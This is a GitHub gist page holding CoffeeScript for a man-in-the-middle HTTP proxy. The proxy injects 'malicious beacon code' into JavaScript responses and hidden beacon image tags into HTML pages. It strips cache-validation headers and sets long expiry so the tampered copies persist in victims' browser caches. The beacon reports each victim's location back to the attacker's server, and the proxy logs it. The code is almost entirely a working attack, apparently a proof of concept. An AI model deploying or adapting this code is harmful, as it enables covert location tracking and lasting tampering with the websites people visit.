Skip to content

Instantly share code, notes, and snippets.

@paulgb
Created December 15, 2012 15:11
Show Gist options
  • Save paulgb/4296184 to your computer and use it in GitHub Desktop.
Save paulgb/4296184 to your computer and use it in GitHub Desktop.
httpProxy = require 'http-proxy' # npm install http-proxy
server = httpProxy.createServer (req, res, proxy) ->
if req.headers['host'] == PUBLIC_IP
# react to a request sent from the malicious beacon giving
# the user's current location
{query} = url.parse(req.url)
{location} = querystring.parse(query)
if location
console.log "Tracked location: #{location}"
res.end()
return
full_url = "http://#{req.headers['host']}#{req.url}"
# force a plain response so we don't have to muck with encodings
req.headers['accept-encoding'] = 'plain'
# we don't want a 304 Not Modified, so get rid of headers that
# could cause one
delete req.headers['if-modified-since']
delete req.headers['if-none-match']
# override the res.writeHead method, but make a copy of the
# original method so we can call it later
res.oldWriteHead = res.writeHead
res.writeHead = (code, headers) ->
if code == 200
if /text\/html/.exec(headers['content-type'])
console.log "Injecting page #{full_url}"
# Insert a bunch of fake <img> tags with links to all the beacons
# we want to preload and cache
fake_imgs = ''
for target_url in target_urls
fake_imgs += "<img src=\"#{target_url}\" style=\"display: none\" />"
inject = (data) -> data.replace('</body>', "#{fake_imgs}</body>")
cache_poisoned = true
else if /(application|text)\/(x-)?javascript/.exec(headers['content-type'])
console.log "Injecting script #{full_url}"
inject = (data) -> data + beacon
if inject?
# Drop the Content-Length header since we'll be changing the
# content
delete headers['content-length']
# Set the headers so the content caches
delete headers['cache-control']
delete headers['max-age']
headers['expires'] = CACHE_EXPIRE
# buffer the response until it is complete, so we can inject
# it with the malicious beacon code
data = ''
res.oldWrite = res.write
res.write = (chunk) ->
data += chunk
res.oldEnd = res.end
res.end = ->
data = inject data
res.oldWrite data
res.oldEnd()
res.oldWriteHead code, headers
if req.headers['host']?
proxy.proxyRequest req, res,
host: req.headers['host']
port: HTTP_PORT
else
# ignore requests that don't have a Host header
res.end()
server.listen HTTP_PORT, ->
console.log "HTTP Proxy listening on port #{HTTP_PORT}"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment